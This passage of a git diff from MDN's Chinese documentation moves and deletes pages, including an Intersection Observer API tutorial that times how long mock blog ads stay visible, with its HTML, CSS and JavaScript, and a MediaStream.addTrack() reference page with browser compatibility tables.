If no value is specified for replaceBox, we create a new ad element. The ad's new {{HTMLElement("div")}} element is created and its properties established by setting its class name to "ad". Next, the ad title element is created, along with the body and the visibility timer; these are an {{HTMLElement("h2")}}, a {{HTMLElement("p")}}, and a {{HTMLElement("div")}} element, respectively. These elements are appended to the adBox element.

+ +

After that, the code paths converge once again. The ad's background color is set to the value specified in the new ad's record, and elements' classes and contents are set appropriately as well.

+ +

Next, it's time to set up the custom data properties to track the ad's visibility data by setting adBox.dataset.totalViewTime and adBox.dataset.lastViewStarted to 0.

+ +

Finally, we set the ID of the <div> which will show the timer we'll present in the ad to show how long it's been visible, giving it the class "timer". The initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.

+ +

If we're not replacing an existing ad, we need to append the element to the content area of the page using {{domxref("Node.appendChild", "Document.appendChild()")}}. If we're replacing an ad, it's already there, with its contents replaced with the new ad's. Then we call the {{domxref("IntersectionObserver.observe", "observe()")}} method on our Intersection Observer, adObserver, to start watching the ad for changes to its intersection with the viewport. From now on, any time the ad becomes 100% obscured or even a single pixel becomes visible, or the ad passes through 75% visible in one way or another, the {{anch("Handling intersection changes", "observer's callback")}} is executed.

+ +

Replacing an existing ad

+ +

Our {{anch("Handling intersection changes", "observer's callback")}} keeps an eye out for ads which become 100% obscured and have a total visible time of at least one minute. When that happens, the replaceAd() function is called with that ad's element as an input, so that the old ad can be replaced with a new one.

+ +
function replaceAd(adBox) {
+  let visibleTime;
+
+  updateAdTimer(adBox);
+
+  visibleTime = adBox.dataset.totalViewTime
+  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
+
+  loadRandomAd(adBox);
+}
+ +

replaceAd() begins by calling updateAdTimer() on the existing ad, to ensure that its timer is up-to-date. This ensures that when we read its totalViewTime, we see the exact final value for how long the ad was visible to the user. We then report that data; in this case, by logging it to console, but in the real world, you'd submit the information to an ad service's API or save it into a database.

+ +

Then we load a new ad by calling {{anch("Creating an ad", "loadRandomAd()")}}, specifying the ad to be replaced as an input parameter. As we saw previously, loadRandomAd() will replace an existing ad with content and data corresponding to a new ad, if you specify an existing ad's element as an input parameter.

+ +

The new ad's element object is returned to the caller in case it's needed.

+
+ +

Result

+ +

The resulting page looks like this. Try experimenting with scrolling around and watch how visibility changes affect the timers in each ad. Also note that each ad is replaced after one minute of visibility, and how the timers pause while the document is tabbed into the background.

+ +

{{EmbedLiveSample("fullpage_example", 750, 800)}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" "b/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" deleted file mode 100644 index 24446a0141..0000000000 --- "a/files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" +++ /dev/null @@ -1,562 +0,0 @@ ---- -title: Timing element visibility with the Intersection Observer API -slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 -translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility ---- -
{{APIRef("Intersection Observer API")}}
- -
交叉点观察者API使得当感兴趣的元素或多或少被共享祖先节点或元素遮蔽时,可以方便地异步通知,包括 {{domxref("Document")}}本身。
- -
 
- -

The Intersection Observer API makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the {{domxref("Document")}} itself. In this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the Intersection Observer API to track how much time each ad is visible to the user. When an ad exceeds one minute of visible time, it will be replaced with a new one.

- -

Although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the API to quickly learn how to apply the Intersection Observer API to your own site.

- -

There's a good reason why the notion of tracking visibility of ads is being used in this example. It turns out that one of the most common uses of Flash or other script in advertising on the Web is to record how long each ad is visible, for the purpose of billing and payment of revenues. Without the Intersection Observer API, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. Using this API lets everything get streamlined by the browser to reduce the impact on performance substantially.

- -

Let's get started!

- -
-

Site structure: The HTML

- -

The site's structure is not too complicated. We'll be using CSS Grid to style and lay out the site, so we can be pretty straightforward here:

- -
<div class="wrapper">
-  <header>
-    <h1>A Fake Blog</h1>
-    <h2>Showing Intersection Observer in action!</h2>
-  </header>
-
-  <aside>
-    <nav>
-      <ul>
-        <li><a href="#link1">A link</a></li>
-        <li><a href="#link2">Another link</a></li>
-        <li><a href="#link3">One more link</a></li>
-      </ul>
-    </nav>
-  </aside>
-
-  <main>
-  </main>
-</div>
- -

This is the framework for the entire site. At the top is the site's header region, contained within a {{HTMLElement("header")}} block. Below that, we define the site's sidebar as a list of links within an {{HTMLElement("aside")}} block.

- -

Finally comes the main body. We start with an empty {{HTMLElement("main")}} element here. This box will be populated using script later.

- -

Styling the site with CSS

- -

With the structure of the site defined, we turn to the styling for the site. Let's look at the style for each component of the page individually.

- -

The basics

- -

We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} elements to define the site's background as well as the grid the various parts of the site will be placed in.

- -
body {
-  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
-  background-color: aliceblue;
-}
-
-.wrapper {
-  display: grid;
-  grid-template-columns: auto minmax(min-content, 1fr);
-  grid-template-rows: auto minmax(min-content, 1fr);
-  max-width: 700px;
-  margin: 0 auto;
-  background-color: aliceblue;
-}
- -

The site's {{HTMLElement("body")}} is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. Then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).

- -

The wrapper establishes a CSS grid with two columns and two rows. The first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for body content) is sized to be at least the width of the contents of the column and at most all remaining available space.

- -

The first row will be used specially for the site header. The rows are sized the same way as the columns: the first one is automatically sized and the one uses the remaining space, but at least enough space to provide room for all elements within it.

- -

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

- -

The header

- -

The header is fairly simple, since for this example all it contains is some text. Its style looks like this:

- -
header {
-  grid-column: 1 / -1;
-  grid-row: 1;
-  background-color: aliceblue;
-}
- -

{{cssxref("grid-row")}} is set to 1, since we want the header to be placed in the top row of the site's grid. More interesting is our use of {{cssxref("grid-column")}} here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. Perfect for our needs.

- -

The sidebar

- -

Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an {{HTMLElement("aside")}} element, and is styled as follows:

- -
aside {
-  grid-column: 1;
-  grid-row: 2;
-  background-color: cornsilk;
-  padding: 5px 10px;
-}
-
-aside ul {
-  padding-left: 0;
-}
-
-aside ul li {
-  list-style: none;
-}
-
-aside ul li a {
-  text-decoration: none;
-}
- -

The most important thing to note here is that the {{cssxref("grid-column")}} is set to 1, to place the sidebar on the left-hand side of the screen. If you change this to -1, it will appear on the right (although some other elements will need some adjustments made to their margins to get the spacing just right). The {{cssxref("grid-row")}} is set to 2, to place it alongside the site body.

- -

The content body

- -

Speaking of the site's body: the main content of the site is kept in a {{HTMLElement("main")}} element. The following style is applied to that:

- -
main {
-  grid-column: 2;
-  grid-row: 2;
-  margin: 0;
-  margin-left: 16px;
-  font-size: 16px;
-}
- -

The primary feature here is that the grid position is set to place the body content in column 2, row 2.

- -

Articles

- -

Each article is contained in an {{HTMLElement("article")}} element, styled like this:

- -
article {
-  background-color: white;
-  padding: 6px;
-}
-
-article:not(:last-child) {
-  margin-bottom: 8px;
-}
-
-article h2 {
-  margin-top: 0;
-}
- -

This creates article boxes with a white background which float atop the blue background, with a small margin around the article. Every article which isn't the last item in the container has an 8px bottom margin to space things apart.

- -

Ads

- -

Finally, the ads have the following initial styling. Individual ads may customize the style somewhat, as we'll see later.

- -
.ad {
-  height: 96px;
-  padding: 6px;
-  border-color: #555;
-  border-style: solid;
-  border-width: 1px;
-}
-
-.ad:not(:last-child) {
-  margin-bottom: 8px;
-}
-
-.ad h2 {
-  margin-top: 0;
-}
-
-.ad div {
-  position: relative;
-  float: right;
-  padding: 0 4px;
-  height: 20px;
-  width: 120px;
-  font-size: 14px;
-  bottom: 30px;
-  border: 1px solid black;
-  background-color: rgba(255, 255, 255, 0.5);
-}
- -

There's nothing magic in here. It's fairly basic CSS.

- -

Tying it together with JavaScript

- -

That brings us to the JavaScript code which makes everything work. Let's start with the global variables:

- -
let contentBox;
-
-let nextArticleID = 1;
-let visibleAds = new Set();
-let previouslyVisibleAds = null;
-
-let adObserver;
-let refreshIntervalID = 0;
- -

These are used as follows:

- -
-
contentBox
-
A reference to the {{HTMLElement("main")}} element's {{domxref("HTMLElement")}} object in the DOM. This is where we'll insert the articles and ads.
-
nextArticleID
-
Each article is given a unique ID number; this variable tracks the next ID to use, starting with 1.
-
visibleAds
-
A {{jsxref("Set")}} which we'll use to track the ads currently visible on the screen.
-
previouslyVisibleAds
-
Used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
-
adObserver
-
Will hold our {{domxref("IntersectionObserver")}} used to track the intersection between the ads and the <main> element's bounds.
-
refreshIntervalID
-
Used to store the interval ID returned by {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. This interval will be used to trigger our periodic refreshes of the ads' content.
-
- -

Setting up

- -

To set things up, we run the startup() function below when the page loads:

- -
window.addEventListener("load", startup, false);
-
-function startup() {
-  contentBox = document.querySelector("main");
-
-  document.addEventListener("visibilitychange", handleVisibilityChange, false);
-
-  let observerOptions = {
-    root: null,
-    rootMargin: "0px",
-    threshold: [0.0, 0.75]
-  };
-
-  adObserver = new IntersectionObserver(intersectionCallback,
-                    observerOptions);
-
-  buildContents();
-  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
-}
- -

First, a reference to the content wrapping {{HTMLElement("main")}} element is obtained, so we can insert our content into it. Then we set up an event listener for the {{event("visibilitychange")}} event. This event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser. The Intersection Observer API doesn't take this into account when detecting intersection, since intersection isn't affected by page visibility. Therefore, we need to pause our timers while the page is tabbed out; hence this event listener.

- -

Next we set up the options for the {{domxref("IntersectionObserver")}} which will monitor target elements (ads, in our case) for intersection changes relative to the document. The options are configured to watch for intersections with the document's viewport (by setting root to null). We have no margins to extend or contract the intersection root's rectangle; we want to match the boundaries of the document's viewport exactly for intersection purposes. And the threshold is set to an array containing the values 0.0 and 0.75; this will cause our callback to execute whenever a targeted element becomes completely obscured or first starts to become unobscured (intersection ratio 0.0) or passes through 75% visible in either direction (intersection ratio 0.75).

- -

The observer, adObserver, is created by calling IntersectionObserver's constructor, passing in the callback function, intersectionCallback, and our options.

- -

We then call a function buildContents(), which we'll define later to actually generate and insert into the document the articles and ads we want to present.

- -

Finally, we set up an interval which triggers once a second to handle any necessary refreshing. We need a one second refresh since we're displaying timers in all visible ads for the purposes of this example. You may not need an interval at all, or you might do it differently or using a different time interval.

- -

Handling document visibility changes

- -

Let's take a look at the handler for the {{event("visibilitychange")}} event. Our script receives this event when the document itself becomes visible or invisible. The most important scenario here is when the user switches tabs. Since Intersection Observer only cares about the intersection between the targeted elements and the intersection root, and not the tab's visibility (which is a different issue entirely), we need to use the Page Visibility API to detect these tab switches and disable our timers for the duration.

- -
function handleVisibilityChange() {
-  if (document.hidden) {
-    if (!previouslyVisibleAds) {
-      previouslyVisibleAds = visibleAds;
-      visibleAds = [];
-      previouslyVisibleAds.forEach(function(adBox) {
-        updateAdTimer(adBox);
-        adBox.dataset.lastViewStarted = 0;
-      });
-    }
-  } else {
-    previouslyVisibleAds.forEach(function(adBox) {
-      adBox.dataset.lastViewStarted = performance.now();
-    });
-    visibleAds = previouslyVisibleAds;
-    previouslyVisibleAds = null;
-  }
-}
- -

Since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the {{domxref("document.hidden")}} property is checked to see if the document is not currently visible. Since it's theoretically possible to get called multiple times, we only proceed if we haven't already paused the timers and saved the visibility states of the existing ads.

- -

To pause the timers, all we need to do is remove the ads from the set of visible ads (visibleAds) and mark them as inactive. To do so, we begin by saving the set of visible ads into a variable known as previouslyVisibleAds to be sure we can restore them when the user tabs back into the document, and we then empty the visibleAds set so they won't be treated as visible. Then, for each of the ads that are being suspended, we call our updateAdTimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastViewStarted property to 0, which indicates that the tab's timer isn't running.

- -

If the document has just become visible, we reverse this process: first we go through previouslyVisibleAds and set each one's dataset.lastViewStarted to the current document's time (in milliseconds since the document was created) using the {{domxref("Performance.now", "performance.now()")}} method. Then we set visibleAds back to previouslyVisibleAds and set the latter to null. Now the ads are all restarted, and configured to know that they became visible at the current time, so that they will not add up the duration of time the page was tabbed away the next time they're updated.

- -

Handling intersection changes

- -

Once per pass through the browser's event loop, each {{domxref("IntersectionObserver")}} checks to see if any of its target elements have passed through any of the observer's intersection ratio thresholds. For each observer, a list of targets that have done so is compiled, and sent to the observer's callback as an array of {{domxref("IntersectionObserverEntry")}} objects. Our callback, intersectionCallback(), looks like this:

- -
function intersectionCallback(entries) {
-  entries.forEach(function(entry) {
-    let adBox = entry.target;
-
-    if (entry.isIntersecting) {
-      if (entry.intersectionRatio >= 0.75) {
-        adBox.dataset.lastViewStarted = entry.time;
-        visibleAds.add(adBox);
-      }
-    } else {
-      visibleAds.delete(adBox);
-      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
-        replaceAd(adBox);
-      }
-    }
-  });
-}
- -

As previously mentioned, the {{domxref("IntersectionObserver")}} callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. We iterate over each of those entries—which are of type {{domxref("IntersectionObserverEntry")}}. If the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. If it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastViewStarted attribute to the transition time in {{domxref("IntersectionObserverEntry.time", "entry.time")}}, then add the ad to the set visibleAds so we know to process it as time goes by.

- -

If the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. Then we have one special behavior: we look to see if {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}} is 0.0; if it is, that means the element has become totally obscured. If that's the case, and the ad has been visible for at least a minute total, we call a function we'll create called replaceAd() to replace the existing ad with a new one. This way, the user sees a variety of ads over time, but the ads are only replaced while they can't be seen, resulting in a smooth experience.

- -

Handling periodic actions

- -

Our interval handler, handleRefreshInterval(), is called about once per second courtesy of the call to {{domxref("WindowOrGlobalScope.setInterval", "setInterval")}} made in the startup() function {{anch("Setting up", "described above")}}. Its main job is to update the timers every second and schedule a redraw to update the timers we'll be drawing within each ad.

- -
function handleRefreshInterval() {
-  let redrawList = [];
-
-  visibleAds.forEach(function(adBox) {
-    let previousTime = adBox.dataset.totalViewTime;
-    updateAdTimer(adBox);
-
-    if (previousTime != adBox.dataset.totalViewTime) {
-      redrawList.push(adBox);
-    }
-  });
-
-  if (redrawList.length) {
-    window.requestAnimationFrame(function(time) {
-      redrawList.forEach(function(adBox) {
-        drawAdTimer(adBox);
-      });
-    });
-  }
-}
- -

The array redrawList will be used to keep a list of all the ads which need to be redrawn during this refresh cycle, since it may not be exactly the same as the elapsed time due to system activity or because you've set the interval to something other than every 1000 milliseconds.

- -

Then, for each of the visible ads, we save the value of dataset.totalViewTime (the total number of milliseconds the ad has currently been visible, as of the last time it was updated) and then call updateAdTimer() to update the time. If it's changed, then we push the ad onto the redrawList so we know it needs to be updated during the next animation frame.

- -

Finally, if there's at least one element to redraw, we use {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} to schedule a function that will redraw each element in the redrawList during the next animation frame.

- -

Updating an ad's visibility timer

- -

Previously (see {{anch("Handling document visibility changes")}} and {{anch("Handling periodic actions")}}), we've seen that when we need to update an ad's "total visible time" counter, we call a function named updateAdTimer() to do so. This function takes as an input an ad's {{domxref("HTMLDivElement")}} object. Here it is:

- -
function updateAdTimer(adBox) {
-  let lastStarted = adBox.dataset.lastViewStarted;
-  let currentTime = performance.now();
-
-  if (lastStarted) {
-    let diff = currentTime - lastStarted;
-
-    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
-  }
-
-  adBox.dataset.lastViewStarted = currentTime;
-}
- -

To track an element's visible time, we use two custom data attributes (see {{htmlattrxref("data-*")}}) on every ad:

- -
-
lastViewStarted
-
The time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked.
-
totalViewTime
-
The total number of milliseconds the ad has been visible.
-
- -

These are accessed through each ad's {{domxref("HTMLElement.dataset")}} attribute, which provides a {{domxref("DOMStringMap")}} mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough—in fact, JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves.

- -

We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using {{domxref("Performance.now", "performance.now()")}} into currentTime.

- -

If lastStarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of {{jsxref("parseFloat()")}} here; because these values are strings, JavaScript tries to do a string concatenation instead of addition without it.

- -

Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become visible.

- -

Drawing an ad's timer

- -

Inside each ad, for demonstration purposes, we draw the current value of its totalViewTime, converted into minutes and seconds. This is handled by passing the ad's element into the drawAdTimer() function:

- -
function drawAdTimer(adBox) {
-  let timerBox = adBox.querySelector(".timer");
-  let totalSeconds = adBox.dataset.totalViewTime / 1000;
-  let sec = Math.floor(totalSeconds % 60);
-  let min = Math.floor(totalSeconds / 60);
-
-  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
-}
- -

This code finds the ad's timer using its ID, "timer", and computes the number of seconds elapsed by dividing the ad's totalViewTime by 1000. Then it calculates the number of minutes and seconds elapsed before setting the timer's {{domxref("Node.innerText", "innerText")}} to a string representing that time in the form m:ss. The {{jsxref("String.padStart()")}} method is used to ensure that the number of seconds is padded out to two digits if it's less than 10.

- -

Building the page contents

- -

The buildContents() function is called by the {{anch("Setting up", "startup code")}} to select and insert into the document the articles and ads to be presented:

- -
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
-  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
-  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
-  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
-  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
-  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
-  " cursus nunc.</p>";
-
-function buildContents() {
-  for (let i=0; i<5; i++) {
-    contentBox.appendChild(createArticle(loremIpsum));
-
-    if (!(i % 2)) {
-      loadRandomAd();
-    }
-  }
-}
-
- -

The variable loremIpsum contains the text we'll use for the body of all of our articles. Obviously in the real world, you'd have some code to pull articles from a database or the like, but this does the job for our purposes. Every article uses the same text; you could of course change that easily enough.

- -

buildContents() creates a page with five articles. Following every odd-numbered article, an ad is "loaded" and inserted into the page. Articles are inserted into the content box (that is, the {{HTMLElement("main")}} element that contains all the site content) after being created using a method called createArticle(), which we'll look at next.

- -

The ads are created using a function called loadRandomAd(), which both creates the ad and inserts it into the page. We'll see later that this same function can also replace an existing ad, but for now, we're simply appending ads to the existing content.

- -

Creating an article

- -

To create the {{HTMLElement("article")}} element for an article (as well as all of its contents), we use the createArticle() function, which takes as input a string which is the full text of the article to add to the page.

- -
function createArticle(contents) {
-  let articleElem = document.createElement("article");
-  articleElem.id = nextArticleID;
-
-  let titleElem = document.createElement("h2");
-  titleElem.id = nextArticleID;
-  titleElem.innerText = "Article " + nextArticleID + " title";
-  articleElem.appendChild(titleElem);
-
-  articleElem.innerHTML += contents;
-  nextArticleID +=1 ;
-
-  return articleElem;
-}
- -

First, the <article> element is created and its ID is set to the unique value nextArticleID (which starts at 1 and goes up for each article). Then we create and append an {{HTMLElement("h2")}} element for the article title and then we append the HTML from contents to that. Finally, nextArticleID is incremented (so that the next element gets a new unique ID) and we return the new <article> element to the caller.

- -

Creating an ad

- -

The loadRandomAd() function simulates loading an ad and adding it to the page. If you don't pass a value for replaceBox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replaceBox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. This avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one.

- -
function loadRandomAd(replaceBox) {
-  let ads = [
-    {
-      bgcolor: "#cec",
-      title: "Eat Green Beans",
-      body: "Make your mother proud—they're good for you!"
-    },
-    {
-      bgcolor: "aquamarine",
-      title: "MillionsOfFreeBooks.whatever",
-      body: "Read classic literature online free!"
-    },
-    {
-      bgcolor: "lightgrey",
-      title: "3.14 Shades of Gray: A novel",
-      body: "Love really does make the world go round..."
-    },
-    {
-      bgcolor: "#fee",
-      title: "Flexbox Florist",
-      body: "When life's layout gets complicated, send flowers."
-    }
-  ];
-  let adBox, title, body, timerElem;
-
-  let ad = ads[Math.floor(Math.random()*ads.length)];
-
-  if (replaceBox) {
-    adObserver.unobserve(replaceBox);
-    adBox = replaceBox;
-    title = replaceBox.querySelector(".title");
-    body = replaceBox.querySelector(".body");
-    timerElem = replaceBox.querySelector(".timer");
-  } else {
-    adBox = document.createElement("div");
-    adBox.className = "ad";
-    title = document.createElement("h2");
-    body = document.createElement("p");
-    timerElem = document.createElement("div");
-    adBox.appendChild(title);
-    adBox.appendChild(body);
-    adBox.appendChild(timerElem);
-  }
-
-  adBox.style.backgroundColor = ad.bgcolor;
-
-  title.className = "title";
-  body.className = "body";
-  title.innerText = ad.title;
-  body.innerHTML = ad.body;
-
-  adBox.dataset.totalViewTime = 0;
-  adBox.dataset.lastViewStarted = 0;
-
-  timerElem.className="timer";
-  timerElem.innerText = "0:00";
-
-  if (!replaceBox) {
-    contentBox.appendChild(adBox);
-  }
-
-  adObserver.observe(adBox);
-}
- -

First is the array ads. This array contains the data needed to create each ad. We have four here to choose from at random. In a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an API. However, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body).

- -

Then we define several variables:

- -
-
adBox
-
This will be set to the element that represents the ad. For new ads being appended to the page, this is created using {{domxref("Document.createElement()")}}. When replacing an existing ad, this is set to the specified ad element (replaceBox).
-
title
-
Will hold the {{HTMLElement("h2")}} element representing the ad's title.
-
body
-
Will hold the {{HTMLElement("p")}} representing the ad's body text.
-
timerElem
-
Will hold the {{HTMLElement("div")}} element which contains the time the ad has been visible so far.
-
- -

A random ad is selected by computing Math.floor(Math.random() * ads.length); the result is a value between 0 and one less than the number of ads. The corresponding ad is now known as adBox.

- -

If a value is specified for replaceBox, we use that as the ad element. To do so, we begin by ending observation of the element by calling {{domxref("IntersectionObserver.unobserve()")}}. Then the local variables for each of the elements that comprise an ad: the ad box itself, the title, the body, and the timer box, are all set to the corresponding elements in the existing ad.

- -

If no value is specified for replaceBox, we create a new ad element. The ad's new {{HTMLElement("div")}} element is created and its properties established by setting its class name to "ad". Next, the ad title element is created, along with the body and the visibility timer; these are an {{HTMLElement("h2")}}, a {{HTMLElement("p")}}, and a {{HTMLElement("div")}} element, respectively. These elements are appended to the adBox element.

- -

After that, the code paths converge once again. The ad's background color is set to the value specified in the new ad's record, and elements' classes and contents are set appropriately as well.

- -

Next, it's time to set up the custom data properties to track the ad's visibility data by setting adBox.dataset.totalViewTime and adBox.dataset.lastViewStarted to 0.

- -

Finally, we set the ID of the <div> which will show the timer we'll present in the ad to show how long it's been visible, giving it the class "timer". The initial text is set to "0:00", to represent the starting time of 0 minutes and 0 seconds, and it's appended to the ad.

- -

If we're not replacing an existing ad, we need to append the element to the content area of the page using {{domxref("Node.appendChild", "Document.appendChild()")}}. If we're replacing an ad, it's already there, with its contents replaced with the new ad's. Then we call the {{domxref("IntersectionObserver.observe", "observe()")}} method on our Intersection Observer, adObserver, to start watching the ad for changes to its intersection with the viewport. From now on, any time the ad becomes 100% obscured or even a single pixel becomes visible, or the ad passes through 75% visible in one way or another, the {{anch("Handling intersection changes", "observer's callback")}} is executed.

- -

Replacing an existing ad

- -

Our {{anch("Handling intersection changes", "observer's callback")}} keeps an eye out for ads which become 100% obscured and have a total visible time of at least one minute. When that happens, the replaceAd() function is called with that ad's element as an input, so that the old ad can be replaced with a new one.

- -
function replaceAd(adBox) {
-  let visibleTime;
-
-  updateAdTimer(adBox);
-
-  visibleTime = adBox.dataset.totalViewTime
-  console.log("  Replacing ad: " + adBox.querySelector("h2").innerText + " - visible for " + visibleTime)
-
-  loadRandomAd(adBox);
-}
- -

replaceAd() begins by calling updateAdTimer() on the existing ad, to ensure that its timer is up-to-date. This ensures that when we read its totalViewTime, we see the exact final value for how long the ad was visible to the user. We then report that data; in this case, by logging it to console, but in the real world, you'd submit the information to an ad service's API or save it into a database.

- -

Then we load a new ad by calling {{anch("Creating an ad", "loadRandomAd()")}}, specifying the ad to be replaced as an input parameter. As we saw previously, loadRandomAd() will replace an existing ad with content and data corresponding to a new ad, if you specify an existing ad's element as an input parameter.

- -

The new ad's element object is returned to the caller in case it's needed.

-
- -

Result

- -

The resulting page looks like this. Try experimenting with scrolling around and watch how visibility changes affect the timers in each ad. Also note that each ad is replaced after one minute of visibility, and how the timers pause while the document is tabbed into the background.

- -

{{EmbedLiveSample("fullpage_example", 750, 800)}}

- -

See also

- - diff --git a/files/zh-cn/web/api/mediastream.addtrack/index.html b/files/zh-cn/web/api/mediastream.addtrack/index.html deleted file mode 100644 index ffb8052af5..0000000000 --- a/files/zh-cn/web/api/mediastream.addtrack/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: MediaStream.addTrack() -slug: Web/API/MediaStream.addTrack -translation_of: Web/API/MediaStream/addTrack ---- -

{{APIRef("Media Capture and Streams")}}

- -

MediaStream.addTrack() 方法会给流添加一个新轨道。指定一个{{domxref("MediaStreamTrack")}}对象作为参数。

- -
-

如果指定的track已经存在于流的track set里的话,该方法不会产生作用。

-
- -

语法

- -
stream.addTrack(track);
-
- -

Parameters

- -
-
track
-
A {{domxref("MediaStreamTrack")}} to add to the stream.
-
- -

Example

- -

 

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('Media Capture','#widl-MediaStream-addTrack-void-MediaStreamTrack-track','addTrack()') }}{{ Spec2('Media Capture') }}Initial specification.
- -

Browser compatibility

- -

{{ CompatibilityTable() }}

- -
{{ CompatUnknown() }} - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatGeckoMobile(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
addTrack() and {{domxref("removeTrack()")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(44)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/mediastream/addtrack/index.html b/files/zh-cn/web/api/mediastream/addtrack/index.html new file mode 100644 index 0000000000..ffb8052af5 --- /dev/null +++ b/files/zh-cn/web/api/mediastream/addtrack/index.html @@ -0,0 +1,122 @@ +--- +title: MediaStream.addTrack() +slug: Web/API/MediaStream.addTrack +translation_of: Web/API/MediaStream/addTrack +--- +

{{APIRef("Media Capture and Streams")}}

+ +

MediaStream.addTrack() 方法会给流添加一个新轨道。指定一个{{domxref("MediaStreamTrack")}}对象作为参数。

+ +
+

如果指定的track已经存在于流的track set里的话,该方法不会产生作用。

+
+ +

语法

+ +
stream.addTrack(track);
+
+ +

Parameters

+ +
+
track
+
A {{domxref("MediaStreamTrack")}} to add to the stream.
+
+ +

Example

+ +

 

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture','#widl-MediaStream-addTrack-void-MediaStreamTrack-track','addTrack()') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
{{ CompatUnknown() }} + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
